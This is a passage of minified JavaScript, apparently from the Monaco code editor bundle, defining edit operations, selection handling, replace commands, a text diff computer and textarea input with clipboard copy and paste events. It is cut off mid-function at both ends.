e.insert=function(e,t){return{identifier:null,range:new n.Range(e.lineNumber,e.column,e.lineNumber,e.column),text:t,forceMoveMarkers:!0}},e.delete=function(e){return{identifier:null,range:e,text:null,forceMoveMarkers:!0}},e.replace=function(e,t){return{identifier:null,range:e,text:t,forceMoveMarkers:!1}},e.replaceMove=function(e,t){return{identifier:null,range:e,text:t,forceMoveMarkers:!0}},e}();t.EditOperation=i}),define(d[435],h([1,0,9,59,2]),function(e,t,n,i,o){\"use strict\";function r(e,t){t.sort(function(e,t){return e.lineNumber===t.lineNumber?e.column-t.column:e.lineNumber-t.lineNumber});for(var r=t.length-2;r>=0;r--)t[r].lineNumber===t[r+1].lineNumber&&t.splice(r,1);for(var s=[],a=0,u=0,l=t.length,c=1,d=e.getLineCount();c<=d;c++){var h=e.getLineContent(c),p=h.length+1,f=0;if(!(u<l&&t[u].lineNumber===c&&(f=t[u].column,u++,f===p))&&0!==h.length){var g=n.lastNonWhitespaceIndex(h),m=0;if(-1===g)m=1;else{if(g===h.length-1)continue;m=g+2}m=Math.max(f,m),s[a++]=i.EditOperation.delete(new o.Range(c,m,c,p))}}return s}Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(e){this.selection=e}return e.prototype.getEditOperations=function(e,t){for(var n=r(e,[]),i=0,o=n.length;i<o;i++){var s=n[i];t.addEditOperation(s.range,s.text)}this.selectionId=t.trackSelection(this.selection)},e.prototype.computeCursorState=function(e,t){return t.getTrackedSelection(this.selectionId)},e}();t.TrimTrailingWhitespaceCommand=s,t.trimTrailingWhitespace=r}),define(d[22],h([1,0,2,12]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o;!function(e){e[e.LTR=0]=\"LTR\",e[e.RTL=1]=\"RTL\"}(o=t.SelectionDirection||(t.SelectionDirection={}));var r=function(e){function t(t,n,i,o){var r=e.call(this,t,n,i,o)||this;return r.selectionStartLineNumber=t,r.selectionStartColumn=n,r.positionLineNumber=i,r.positionColumn=o,r}return f(t,e),t.prototype.clone=function(){return new t(this.selectionStartLineNumber,this.selectionStartColumn,this.positionLineNumber,this.positionColumn)},t.prototype.toString=function(){return\"[\"+this.selectionStartLineNumber+\",\"+this.selectionStartColumn+\" -> \"+this.positionLineNumber+\",\"+this.positionColumn+\"]\"},t.prototype.equalsSelection=function(e){return t.selectionsEqual(this,e)},t.selectionsEqual=function(e,t){return e.selectionStartLineNumber===t.selectionStartLineNumber&&e.selectionStartColumn===t.selectionStartColumn&&e.positionLineNumber===t.positionLineNumber&&e.positionColumn===t.positionColumn},t.prototype.getDirection=function(){return this.selectionStartLineNumber===this.startLineNumber&&this.selectionStartColumn===this.startColumn?o.LTR:o.RTL},t.prototype.setEndPosition=function(e,n){return this.getDirection()===o.LTR?new t(this.startLineNumber,this.startColumn,e,n):new t(e,n,this.startLineNumber,this.startColumn)},t.prototype.getPosition=function(){return new i.Position(this.positionLineNumber,this.positionColumn)},t.prototype.setStartPosition=function(e,n){return this.getDirection()===o.LTR?new t(e,n,this.endLineNumber,this.endColumn):new t(this.endLineNumber,this.endColumn,e,n)},t.fromPositions=function(e,n){return void 0===n&&(n=e),new t(e.lineNumber,e.column,n.lineNumber,n.column)},t.liftSelection=function(e){return new t(e.selectionStartLineNumber,e.selectionStartColumn,e.positionLineNumber,e.positionColumn)},t.selectionsArrEqual=function(e,t){if(e&&!t||!e&&t)return!1;if(!e&&!t)return!0;if(e.length!==t.length)return!1;for(var n=0,i=e.length;n<i;n++)if(!this.selectionsEqual(e[n],t[n]))return!1;return!0},t.isISelection=function(e){return e&&\"number\"==typeof e.selectionStartLineNumber&&\"number\"==typeof e.selectionStartColumn&&\"number\"==typeof e.positionLineNumber&&\"number\"==typeof e.positionColumn},t.createWithDirection=function(e,n,i,r,s){return s===o.LTR?new t(e,n,i,r):new t(i,r,e,n)},t}(n.Range);t.Selection=r}),define(d[73],h([1,0,22]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t,n){void 0===n&&(n=!1),this._range=e,this._text=t,this.insertsAutoWhitespace=n}return e.prototype.getEditOperations=function(e,t){t.addTrackedEditOperation(this._range,this._text)},e.prototype.computeCursorState=function(e,t){var i=t.getInverseEditOperations()[0].range;return new n.Selection(i.endLineNumber,i.endColumn,i.endLineNumber,i.endColumn)},e}();t.ReplaceCommand=i;var o=function(){function e(e,t,n){void 0===n&&(n=!1),this._range=e,this._text=t,this.insertsAutoWhitespace=n}return e.prototype.getEditOperations=function(e,t){t.addTrackedEditOperation(this._range,this._text)},e.prototype.computeCursorState=function(e,t){var i=t.getInverseEditOperations()[0].range;return new n.Selection(i.startLineNumber,i.startColumn,i.startLineNumber,i.startColumn)},e}();t.ReplaceCommandWithoutChangingPosition=o;var r=function(){function e(e,t,n,i,o){void 0===o&&(o=!1),this._range=e,this._text=t,this._columnDeltaOffset=i,this._lineNumberDeltaOffset=n,this.insertsAutoWhitespace=o}return e.prototype.getEditOperations=function(e,t){t.addTrackedEditOperation(this._range,this._text)},e.prototype.computeCursorState=function(e,t){var i=t.getInverseEditOperations()[0].range;return new n.Selection(i.endLineNumber+this._lineNumberDeltaOffset,i.endColumn+this._columnDeltaOffset,i.endLineNumber+this._lineNumberDeltaOffset,i.endColumn+this._columnDeltaOffset)},e}();t.ReplaceCommandWithOffsetCursorState=r;var s=function(){function e(e,t,n){this._range=e,this._text=t,this._initialSelection=n}return e.prototype.getEditOperations=function(e,t){t.addEditOperation(this._range,this._text),this._selectionId=t.trackSelection(this._initialSelection)},e.prototype.computeCursorState=function(e,t){return t.getTrackedSelection(this._selectionId)},e}();t.ReplaceCommandThatPreservesSelection=s}),define(d[441],h([1,0,2,22]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(e,t,n){this._range=e,this._charBeforeSelection=t,this._charAfterSelection=n}return e.prototype.getEditOperations=function(e,t){t.addTrackedEditOperation(new n.Range(this._range.startLineNumber,this._range.startColumn,this._range.startLineNumber,this._range.startColumn),this._charBeforeSelection),t.addTrackedEditOperation(new n.Range(this._range.endLineNumber,this._range.endColumn,this._range.endLineNumber,this._range.endColumn),this._charAfterSelection)},e.prototype.computeCursorState=function(e,t){var n=t.getInverseEditOperations(),o=n[0].range,r=n[1].range;return new i.Selection(o.endLineNumber,o.endColumn,r.endLineNumber,r.endColumn-this._charAfterSelection.length)},e}();t.SurroundSelectionCommand=o}),define(d[97],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e,t,n){this.offset=0|e,this.type=t,this.language=n}return e.prototype.toString=function(){return\"(\"+this.offset+\", \"+this.type+\")\"},e}();t.Token=n;var i=function(){return function(e,t){this.tokens=e,this.endState=t}}();t.TokenizationResult=i;var o=function(){return function(e,t){this.tokens=e,this.endState=t}}();t.TokenizationResult2=o}),define(d[96],h([1,0]),function(e,t){\"use strict\";function n(e){return e<0?0:e>4294967295?4294967295:0|e}Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t,n){for(var i=new Uint8Array(e*t),o=0,r=e*t;o<r;o++)i[o]=n;this._data=i,this._rows=e,this._cols=t}return e.prototype.get=function(e,t){return this._data[e*this._cols+t]},e.prototype.set=function(e,t,n){this._data[e*this._cols+t]=n},e}();t.Uint8Matrix=i;!function(e){e[e.MAX_SAFE_SMALL_INTEGER=1073741824]=\"MAX_SAFE_SMALL_INTEGER\",e[e.MIN_SAFE_SMALL_INTEGER=-1073741824]=\"MIN_SAFE_SMALL_INTEGER\",e[e.MAX_UINT_8=255]=\"MAX_UINT_8\",e[e.MAX_UINT_16=65535]=\"MAX_UINT_16\",e[e.MAX_UINT_32=4294967295]=\"MAX_UINT_32\"}(t.Constants||(t.Constants={})),t.toUint8=function(e){return e<0?0:e>255?255:0|e},t.toUint32=n,t.toUint32Array=function(e){for(var t=e.length,i=new Uint32Array(t),o=0;o<t;o++)i[o]=n(e[o]);return i}}),define(d[89],h([1,0,96]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(t){var i=n.toUint8(t);this._defaultValue=i,this._asciiMap=e._createAsciiMap(i),this._map=new Map}return e._createAsciiMap=function(e){for(var t=new Uint8Array(256),n=0;n<256;n++)t[n]=e;return t},e.prototype.set=function(e,t){var i=n.toUint8(t);e>=0&&e<256?this._asciiMap[e]=i:this._map.set(e,i)},e.prototype.get=function(e){return e>=0&&e<256?this._asciiMap[e]:this._map.get(e)||this._defaultValue},e}();t.CharacterClassifier=i;var o;!function(e){e[e.False=0]=\"False\",e[e.True=1]=\"True\"}(o||(o={}));var r=function(){function e(){this._actual=new i(0)}return e.prototype.add=function(e){this._actual.set(e,1)},e.prototype.has=function(e){return 1===this._actual.get(e)},e}();t.CharacterSet=r}),define(d[94],h([1,0,89]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.Regular=0]=\"Regular\",e[e.Whitespace=1]=\"Whitespace\",e[e.WordSeparator=2]=\"WordSeparator\"}(t.WordCharacterClass||(t.WordCharacterClass={}));var i=function(e){function t(t){for(var n=e.call(this,0)||this,i=0,o=t.length;i<o;i++)n.set(t.charCodeAt(i),2);return n.set(32,1),n.set(9,1),n}return f(t,e),t}(n.CharacterClassifier);t.WordCharacterClassifier=i,t.getMapForWordSeparators=function(e){var t={};return function(n){return t.hasOwnProperty(n)||(t[n]=e(n)),t[n]}}(function(e){return new i(e)})}),define(d[457],h([1,0,139,9]),function(e,t,n,i){\"use strict\";function o(e,t,i,o){return new n.LcsDiff(e,t,i).ComputeDiff(o)}function r(e){if(e.length<=1)return e;for(var t=[e[0]],n=t[0],i=1,o=e.length;i<o;i++){var r=e[i],s=r.originalStart-(n.originalStart+n.originalLength),u=r.modifiedStart-(n.modifiedStart+n.modifiedLength);Math.min(s,u)<a?(n.originalLength=r.originalStart+r.originalLength-n.originalStart,n.modifiedLength=r.modifiedStart+r.modifiedLength-n.modifiedStart):(t.push(r),n=r)}return t}Object.defineProperty(t,\"__esModule\",{value:!0});var s=5e3,a=3,u=function(){function e(e,t,n){this.buffer=e,this.startMarkers=t,this.endMarkers=n}return e.prototype.equals=function(t){if(!(t instanceof e))return!1;var n=t;if(this.getLength()!==n.getLength())return!1;for(var i=0,o=this.getLength();i<o;i++)if(this.getElementHash(i)!==n.getElementHash(i))return!1;return!0},e.prototype.getLength=function(){return this.startMarkers.length},e.prototype.getElementHash=function(e){return this.buffer.substring(this.startMarkers[e].offset,this.endMarkers[e].offset)},e.prototype.getStartLineNumber=function(e){return e===this.startMarkers.length?this.startMarkers[e-1].lineNumber+1:this.startMarkers[e].lineNumber},e.prototype.getStartColumn=function(e){return this.startMarkers[e].column},e.prototype.getEndLineNumber=function(e){return this.endMarkers[e].lineNumber},e.prototype.getEndColumn=function(e){return this.endMarkers[e].column},e}(),l=function(e){function t(n){for(var i=\"\",o=[],r=[],s=0,a=0,u=n.length;a<u;a++){i+=n[a];var l=t._getFirstNonBlankColumn(n[a],1),c=t._getLastNonBlankColumn(n[a],1);o.push({offset:s+l-1,lineNumber:a+1,column:l}),r.push({offset:s+c-1,lineNumber:a+1,column:c}),s+=n[a].length}return e.call(this,i,o,r)||this}return f(t,e),t._getFirstNonBlankColumn=function(e,t){var n=i.firstNonWhitespaceIndex(e);return-1===n?t:n+1},t._getLastNonBlankColumn=function(e,t){var n=i.lastNonWhitespaceIndex(e);return-1===n?t:n+2},t.prototype.getCharSequence=function(e,t){for(var n=[],i=[],o=e;o<=t;o++)for(var r=this.startMarkers[o],s=this.endMarkers[o],a=r.offset;a<s.offset;a++)n.push({offset:a,lineNumber:r.lineNumber,column:r.column+(a-r.offset)}),i.push({offset:a+1,lineNumber:r.lineNumber,column:r.column+(a-r.offset)+1});return new u(this.buffer,n,i)},t}(u),c=function(){function e(e,t,n,i,o,r,s,a){this.originalStartLineNumber=e,this.originalStartColumn=t,this.originalEndLineNumber=n,this.originalEndColumn=i,this.modifiedStartLineNumber=o,this.modifiedStartColumn=r,this.modifiedEndLineNumber=s,this.modifiedEndColumn=a}return e.createFromDiffChange=function(t,n,i){var o,r,s,a,u,l,c,d;return 0===t.originalLength?(o=0,r=0,s=0,a=0):(o=n.getStartLineNumber(t.originalStart),r=n.getStartColumn(t.originalStart),s=n.getEndLineNumber(t.originalStart+t.originalLength-1),a=n.getEndColumn(t.originalStart+t.originalLength-1)),0===t.modifiedLength?(u=0,l=0,c=0,d=0):(u=i.getStartLineNumber(t.modifiedStart),l=i.getStartColumn(t.modifiedStart),c=i.getEndLineNumber(t.modifiedStart+t.modifiedLength-1),d=i.getEndColumn(t.modifiedStart+t.modifiedLength-1)),new e(o,r,s,a,u,l,c,d)},e}(),d=function(){function e(e,t,n,i,o){this.originalStartLineNumber=e,this.originalEndLineNumber=t,this.modifiedStartLineNumber=n,this.modifiedEndLineNumber=i,this.charChanges=o}return e.createFromDiffResult=function(t,n,i,s,a){var u,l,d,h,p;if(0===t.originalLength?(u=n.getStartLineNumber(t.originalStart)-1,l=0):(u=n.getStartLineNumber(t.originalStart),l=n.getEndLineNumber(t.originalStart+t.originalLength-1)),0===t.modifiedLength?(d=i.getStartLineNumber(t.modifiedStart)-1,h=0):(d=i.getStartLineNumber(t.modifiedStart),h=i.getEndLineNumber(t.modifiedStart+t.modifiedLength-1)),0!==t.originalLength&&0!==t.modifiedLength&&s()){var f=n.getCharSequence(t.originalStart,t.originalStart+t.originalLength-1),g=i.getCharSequence(t.modifiedStart,t.modifiedStart+t.modifiedLength-1),m=o(f,g,s,!1);a&&(m=r(m)),p=[];for(var v=0,_=m.length;v<_;v++)p.push(c.createFromDiffChange(m[v],f,g))}return new e(u,l,d,h,p)},e}(),h=function(){function e(e,t,n){this.shouldPostProcessCharChanges=n.shouldPostProcessCharChanges,this.shouldIgnoreTrimWhitespace=n.shouldIgnoreTrimWhitespace,this.shouldMakePrettyDiff=n.shouldMakePrettyDiff,this.maximumRunTimeMs=s,this.originalLines=e,this.modifiedLines=t,this.original=new l(e),this.modified=new l(t),n.shouldConsiderTrimWhitespaceInEmptyCase&&this.shouldIgnoreTrimWhitespace&&this.original.equals(this.modified)&&(this.shouldIgnoreTrimWhitespace=!1)}return e.prototype.computeDiff=function(){if(1===this.original.getLength()&&0===this.original.getElementHash(0).length)return[{originalStartLineNumber:1,originalEndLineNumber:1,modifiedStartLineNumber:1,modifiedEndLineNumber:this.modified.getLength(),charChanges:[{modifiedEndColumn:0,modifiedEndLineNumber:0,modifiedStartColumn:0,modifiedStartLineNumber:0,originalEndColumn:0,originalEndLineNumber:0,originalStartColumn:0,originalStartLineNumber:0}]}];if(1===this.modified.getLength()&&0===this.modified.getElementHash(0).length)return[{originalStartLineNumber:1,originalEndLineNumber:this.original.getLength(),modifiedStartLineNumber:1,modifiedEndLineNumber:1,charChanges:[{modifiedEndColumn:0,modifiedEndLineNumber:0,modifiedStartColumn:0,modifiedStartLineNumber:0,originalEndColumn:0,originalEndLineNumber:0,originalStartColumn:0,originalStartLineNumber:0}]}];this.computationStartTime=(new Date).getTime();var e=o(this.original,this.modified,this._continueProcessingPredicate.bind(this),this.shouldMakePrettyDiff);if(this.shouldIgnoreTrimWhitespace){for(var t=[],n=0,i=e.length;n<i;n++)t.push(d.createFromDiffResult(e[n],this.original,this.modified,this._continueProcessingPredicate.bind(this),this.shouldPostProcessCharChanges));return t}for(var r=[],s=0,a=0,n=-1,u=e.length;n<u;n++){for(var c=n+1<u?e[n+1]:null,h=c?c.originalStart:this.originalLines.length,p=c?c.modifiedStart:this.modifiedLines.length;s<h&&a<p;){var f=this.originalLines[s],g=this.modifiedLines[a];if(f!==g){for(var m=l._getFirstNonBlankColumn(f,1),v=l._getFirstNonBlankColumn(g,1);m>1&&v>1&&(w=f.charCodeAt(m-2))===(S=g.charCodeAt(v-2));)m--,v--;(m>1||v>1)&&this._pushTrimWhitespaceCharChange(r,s+1,1,m,a+1,1,v);for(var _=l._getLastNonBlankColumn(f,1),y=l._getLastNonBlankColumn(g,1),C=f.length+1,b=g.length+1;_<C&&y<b;){var w=f.charCodeAt(_-1),S=f.charCodeAt(y-1);if(w!==S)break;_++,y++}(_<C||y<b)&&this._pushTrimWhitespaceCharChange(r,s+1,_,C,a+1,y,b)}s++,a++}c&&(r.push(d.createFromDiffResult(c,this.original,this.modified,this._continueProcessingPredicate.bind(this),this.shouldPostProcessCharChanges)),s+=c.originalLength,a+=c.modifiedLength)}return r},e.prototype._pushTrimWhitespaceCharChange=function(e,t,n,i,o,r,s){this._mergeTrimWhitespaceCharChange(e,t,n,i,o,r,s)||e.push(new d(t,t,o,o,[new c(t,n,t,i,o,r,o,s)]))},e.prototype._mergeTrimWhitespaceCharChange=function(e,t,n,i,o,r,s){var a=e.length;if(0===a)return!1;var u=e[a-1];return 0!==u.originalEndLineNumber&&0!==u.modifiedEndLineNumber&&(u.originalEndLineNumber+1===t&&u.modifiedEndLineNumber+1===o&&(u.originalEndLineNumber=t,u.modifiedEndLineNumber=o,u.charChanges.push(new c(t,n,t,i,o,r,o,s)),!0))},e.prototype._continueProcessingPredicate=function(){return 0===this.maximumRunTimeMs||(new Date).getTime()-this.computationStartTime<this.maximumRunTimeMs},e}();t.DiffComputer=h}),define(d[149],h([1,0,7]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t,n,i,o,r){this.id=e,this.label=t,this.alias=n,this._precondition=i,this._run=o,this._contextKeyService=r}return e.prototype.isSupported=function(){return this._contextKeyService.contextMatchesRules(this._precondition)},e.prototype.run=function(){if(!this.isSupported())return n.TPromise.as(void 0);var e=this._run();return e||n.TPromise.as(void 0)},e}();t.InternalEditorAction=i}),define(d[20],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.Left=1]=\"Left\",e[e.Center=2]=\"Center\",e[e.Right=4]=\"Right\",e[e.Full=7]=\"Full\"}(t.OverviewRulerLane||(t.OverviewRulerLane={}));!function(e){e[e.TextDefined=0]=\"TextDefined\",e[e.LF=1]=\"LF\",e[e.CRLF=2]=\"CRLF\"}(t.EndOfLinePreference||(t.EndOfLinePreference={}));!function(e){e[e.LF=1]=\"LF\",e[e.CRLF=2]=\"CRLF\"}(t.DefaultEndOfLine||(t.DefaultEndOfLine={}));!function(e){e[e.LF=0]=\"LF\",e[e.CRLF=1]=\"CRLF\"}(t.EndOfLineSequence||(t.EndOfLineSequence={}));var n=function(){function e(e){this.tabSize=0|e.tabSize,this.insertSpaces=Boolean(e.insertSpaces),this.defaultEOL=0|e.defaultEOL,this.trimAutoWhitespace=Boolean(e.trimAutoWhitespace)}return e.prototype.equals=function(e){return this.tabSize===e.tabSize&&this.insertSpaces===e.insertSpaces&&this.defaultEOL===e.defaultEOL&&this.trimAutoWhitespace===e.trimAutoWhitespace},e.prototype.createChangeEvent=function(e){return{tabSize:this.tabSize!==e.tabSize,insertSpaces:this.insertSpaces!==e.insertSpaces,trimAutoWhitespace:this.trimAutoWhitespace!==e.trimAutoWhitespace}},e}();t.TextModelResolvedOptions=n;var i=function(){return function(e,t){this.range=e,this.matches=t}}();t.FindMatch=i;!function(e){e[e.AlwaysGrowsWhenTypingAtEdges=0]=\"AlwaysGrowsWhenTypingAtEdges\",e[e.NeverGrowsWhenTypingAtEdges=1]=\"NeverGrowsWhenTypingAtEdges\",e[e.GrowsOnlyWhenTypingBefore=2]=\"GrowsOnlyWhenTypingBefore\",e[e.GrowsOnlyWhenTypingAfter=3]=\"GrowsOnlyWhenTypingAfter\"}(t.TrackedRangeStickiness||(t.TrackedRangeStickiness={})),t.isThemeColor=function(e){return e&&\"string\"==typeof e.id},t.EditorType={ICodeEditor:\"vs.editor.ICodeEditor\",IDiffEditor:\"vs.editor.IDiffEditor\"},t.isCommonCodeEditor=function(e){return!(!e||\"function\"!=typeof e.getEditorType)&&e.getEditorType()===t.EditorType.ICodeEditor},t.isCommonDiffEditor=function(e){return!(!e||\"function\"!=typeof e.getEditorType)&&e.getEditorType()===t.EditorType.IDiffEditor},t.Handler={ExecuteCommand:\"executeCommand\",ExecuteCommands:\"executeCommands\",Type:\"type\",ReplacePreviousChar:\"replacePreviousChar\",CompositionStart:\"compositionStart\",CompositionEnd:\"compositionEnd\",Paste:\"paste\",Cut:\"cut\",Undo:\"undo\",Redo:\"redo\"}}),define(d[151],h([1,0,2,20,9]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(e,t,n){this.value=e,this.selectionStart=t,this.selectionEnd=n}return e.prototype.equals=function(t){return t instanceof e&&(this.value===t.value&&this.selectionStart===t.selectionStart&&this.selectionEnd===t.selectionEnd)},e.prototype.toString=function(){return\"[ <\"+this.value+\">, selectionStart: \"+this.selectionStart+\", selectionEnd: \"+this.selectionEnd+\"]\"},e.prototype.readFromTextArea=function(t){return new e(t.getValue(),t.getSelectionStart(),t.getSelectionEnd())},e.prototype.collapseSelection=function(){return new e(this.value,this.value.length,this.value.length)},e.prototype.writeToTextArea=function(e,t,n){t.setValue(e,this.value),n&&t.setSelectionRange(e,this.selectionStart,this.selectionEnd)},e.selectedText=function(t){return new e(t,0,t.length)},e.deduceInput=function(e,t,n){if(!e)return{text:\"\",replaceCharCnt:0};var i=e.value,r=e.selectionStart,s=e.selectionEnd,a=t.value,u=t.selectionStart,l=t.selectionEnd,c=i.substring(s),d=a.substring(l),h=o.commonSuffixLength(c,d);a=a.substring(0,a.length-h);var p=(i=i.substring(0,i.length-h)).substring(0,r),f=a.substring(0,u),g=o.commonPrefixLength(p,f);if(a=a.substring(g),i=i.substring(g),u-=g,r-=g,l-=g,s-=g,n&&u===l&&i.length>0){var m=null;if(u===a.length?o.startsWith(a,i)&&(m=a.substring(i.length)):o.endsWith(a,i)&&(m=a.substring(0,a.length-i.length)),null!==m&&m.length>0&&(/\\uFE0F/.test(m)||o.containsEmoji(m)))return{text:m,replaceCharCnt:0}}return u===l?i===a&&0===r&&s===i.length&&u===a.length&&-1===a.indexOf(\"\\n\")&&o.containsFullWidthCharacter(a)?{text:\"\",replaceCharCnt:0}:{text:a,replaceCharCnt:p.length-g}:{text:a,replaceCharCnt:s-r}},e.EMPTY=new e(\"\",0,0),e}();t.TextAreaState=r;var s=function(){function e(){}return e._getPageOfLine=function(t){return Math.floor((t-1)/e._LINES_PER_PAGE)},e._getRangeForPage=function(t){var i=t*e._LINES_PER_PAGE,o=i+1,r=i+e._LINES_PER_PAGE;return new n.Range(o,1,r+1,1)},e.fromEditorSelection=function(t,o,s){var a=e._getPageOfLine(s.startLineNumber),u=e._getRangeForPage(a),l=e._getPageOfLine(s.endLineNumber),c=e._getRangeForPage(l),d=u.intersectRanges(new n.Range(1,1,s.startLineNumber,s.startColumn)),h=o.getValueInRange(d,i.EndOfLinePreference.LF),p=o.getLineCount(),f=o.getLineMaxColumn(p),g=c.intersectRanges(new n.Range(s.endLineNumber,s.endColumn,p,f)),m=o.getValueInRange(g,i.EndOfLinePreference.LF),v=null;if(a===l||a+1===l)v=o.getValueInRange(s,i.EndOfLinePreference.LF);else{var _=u.intersectRanges(s),y=c.intersectRanges(s);v=o.getValueInRange(_,i.EndOfLinePreference.LF)+String.fromCharCode(8230)+o.getValueInRange(y,i.EndOfLinePreference.LF)}return h.length>500&&(h=h.substring(h.length-500,h.length)),m.length>500&&(m=m.substring(0,500)),v.length>1e3&&(v=v.substring(0,500)+String.fromCharCode(8230)+v.substring(v.length-500,v.length)),new r(h+v+m,h.length,h.length+v.length)},e._LINES_PER_PAGE=10,e}();t.PagedScreenReaderStrategy=s}),define(d[154],h([1,0,18,9,11,3,151,28,15,4]),function(e,t,n,i,o,r,s,a,u,l){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.CopyOptions={forceCopyWithSyntaxHighlighting:!1};var c;!function(e){e[e.Type=0]=\"Type\",e[e.Paste=1]=\"Paste\"}(c||(c={}));var d=function(e){function r(t,r){var c=e.call(this)||this;c._onFocus=c._register(new o.Emitter),c.onFocus=c._onFocus.event,c._onBlur=c._register(new o.Emitter),c.onBlur=c._onBlur.event,c._onKeyDown=c._register(new o.Emitter),c.onKeyDown=c._onKeyDown.event,c._onKeyUp=c._register(new o.Emitter),c.onKeyUp=c._onKeyUp.event,c._onCut=c._register(new o.Emitter),c.onCut=c._onCut.event,c._onPaste=c._register(new o.Emitter),c.onPaste=c._onPaste.event,c._onType=c._register(new o.Emitter),c.onType=c._onType.event,c._onCompositionStart=c._register(new o.Emitter),c.onCompositionStart=c._onCompositionStart.event,c._onCompositionUpdate=c._register(new o.Emitter),c.onCompositionUpdate=c._onCompositionUpdate.event,c._onCompositionEnd=c._register(new o.Emitter),c.onCompositionEnd=c._onCompositionEnd.event,c._host=t,c._textArea=c._register(new p(r)),c._asyncTriggerCut=c._register(new n.RunOnceScheduler(function(){return c._onCut.fire()},0)),c._textAreaState=s.TextAreaState.EMPTY,c.writeScreenReaderContent(\"ctor\"),c._hasFocus=!1,c._isDoingComposition=!1,c._nextCommand=0,c._register(l.addStandardDisposableListener(r.domNode,\"keydown\",function(e){c._isDoingComposition&&e.equals(109)&&e.stopPropagation(),e.equals(9)&&e.preventDefault(),c._onKeyDown.fire(e)})),c._register(l.addStandardDisposableListener(r.domNode,\"keyup\",function(e){c._onKeyUp.fire(e)})),c._register(l.addDisposableListener(r.domNode,\"compositionstart\",function(e){c._isDoingComposition||(c._isDoingComposition=!0,a.isEdgeOrIE||c._setAndWriteTextAreaState(\"compositionstart\",s.TextAreaState.EMPTY),c._onCompositionStart.fire())}));var d=function(e){var t=c._textAreaState,n=c._textAreaState.readFromTextArea(c._textArea);return[n,s.TextAreaState.deduceInput(t,n,e)]},f=function(e){var t=c._textAreaState,n=s.TextAreaState.selectedText(e);return[n,{text:n.value,replaceCharCnt:t.selectionEnd-t.selectionStart}]};return c._register(l.addDisposableListener(r.domNode,\"compositionupdate\",function(e){if(!a.isChromev56){if(a.isEdgeOrIE&&\"ja\"===e.locale){var t=d(!1),n=t[0],i=t[1];return c._textAreaState=n,c._onType.fire(i),void c._onCompositionUpdate.fire(e)}var o=f(e.data),r=o[0],s=o[1];c._textAreaState=r,c._onType.fire(s),c._onCompositionUpdate.fire(e)}})),c._register(l.addDisposableListener(r.domNode,\"compositionend\",function(e){if(a.isEdgeOrIE&&\"ja\"===e.locale){var t=d(!1),n=t[0],i=t[1];c._textAreaState=n,c._onType.fire(i)}else{var o=f(e.data),n=o[0],i=o[1];c._textAreaState=n,c._onType.fire(i)}(a.isEdgeOrIE||a.isChrome)&&(c._textAreaState=c._textAreaState.readFromTextArea(c._textArea)),c._isDoingComposition&&(c._isDoingComposition=!1,c._onCompositionEnd.fire())})),c._register(l.addDisposableListener(r.domNode,\"input\",function(){if(c._isDoingComposition){if(a.isChromev56){var e=f(c._textArea.getValue()),t=e[0],n=e[1];c._textAreaState=t,c._onType.fire(n);var o={data:n.text};c._onCompositionUpdate.fire(o)}}else{var r=d(u.isMacintosh),s=r[0],l=r[1];0===l.replaceCharCnt&&1===l.text.length&&i.isHighSurrogate(l.text.charCodeAt(0))||(c._textAreaState=s,0===c._nextCommand?\"\"!==l.text&&c._onType.fire(l):(\"\"!==l.text&&c._onPaste.fire({text:l.text}),c._nextCommand=0))}})),c._register(l.addDisposableListener(r.domNode,\"cut\",function(e){c._ensureClipboardGetsEditorSelection(e),c._asyncTriggerCut.schedule()})),c._register(l.addDisposableListener(r.domNode,\"copy\",function(e){c._ensureClipboardGetsEditorSelection(e)})),c._register(l.addDisposableListener(r.domNode,\"paste\",function(e){if(h.canUseTextData(e)){var t=h.getTextData(e);\"\"!==t&&c._onPaste.fire({text:t})}else c._textArea.getSelectionStart()!==c._textArea.getSelectionEnd()&&c._setAndWriteTextAreaState(\"paste\",s.TextAreaState.EMPTY),c._nextCommand=1})),c._register(l.addDisposableListener(r.domNode,\"focus\",function(){return c._setHasFocus(!0)})),c._register(l.addDisposableListener(r.domNode,\"blur\",function(){return c._setHasFocus(!1)})),c}return f(r,e),r.prototype.dispose=function(){e.prototype.dispose.call(this)},r.prototype.focusTextArea=function(){this._setHasFocus(!0)},r.prototype.isFocused=function(){return this._hasFocus},r.prototype._setHasFocus=function(e){this._hasFocus!==e&&(this._hasFocus=e,this._hasFocus&&(a.isEdge?this._setAndWriteTextAreaState(\"focusgain\",s.TextAreaState.EMPTY):this.writeScreenReaderContent(\"focusgain\")),this._hasFocus?this._onFocus.fire():this._onBlur.fire())},r.prototype._setAndWriteTextAreaState=function(e,t){this._hasFocus||(t=t.collapseSelection()),t.writeToTextArea(e,this._textArea,this._hasFocus),this._textAreaState=t},r.prototype.writeScreenReaderContent=function(e){this._isDoingComposition||this._setAndWriteTextAreaState(e,this._host.getScreenReaderContent(this._textAreaState))},r.prototype._ensureClipboardGetsEditorSelection=function(e){var n=this._host.getPlainTextToCopy();if(h.canUseTextData(e)){var i=null;!a.isEdgeOrIE&&(n.length<65536||t.CopyOptions.forceCopyWithSyntaxHighlighting)&&(i=this._host.getHTMLToCopy()),h.setTextData(e,n,i)}else this._setAndWriteTextAreaState(\"copy or cut\",s.TextAreaState.selectedText(n))},r}(r.Disposable);t.TextAreaInput=d;var h=function(){function e(){}return e.canUseTextData=function(e){return!!e.clipboardData||!!window.clipboardData},e.getTextData=function(e){if(e.clipboardData)return e.preventDefault(),e.clipboardData.getData(\"text/plain\");if(window.clipboardData)return e.preventDefault(),window.clipboardData.getData(\"Text\");throw new Error(\"ClipboardEventUtils.getTextData: Cannot use text data!\")},e.setTextData=function(e,t,n){if(e.clipboardData)return 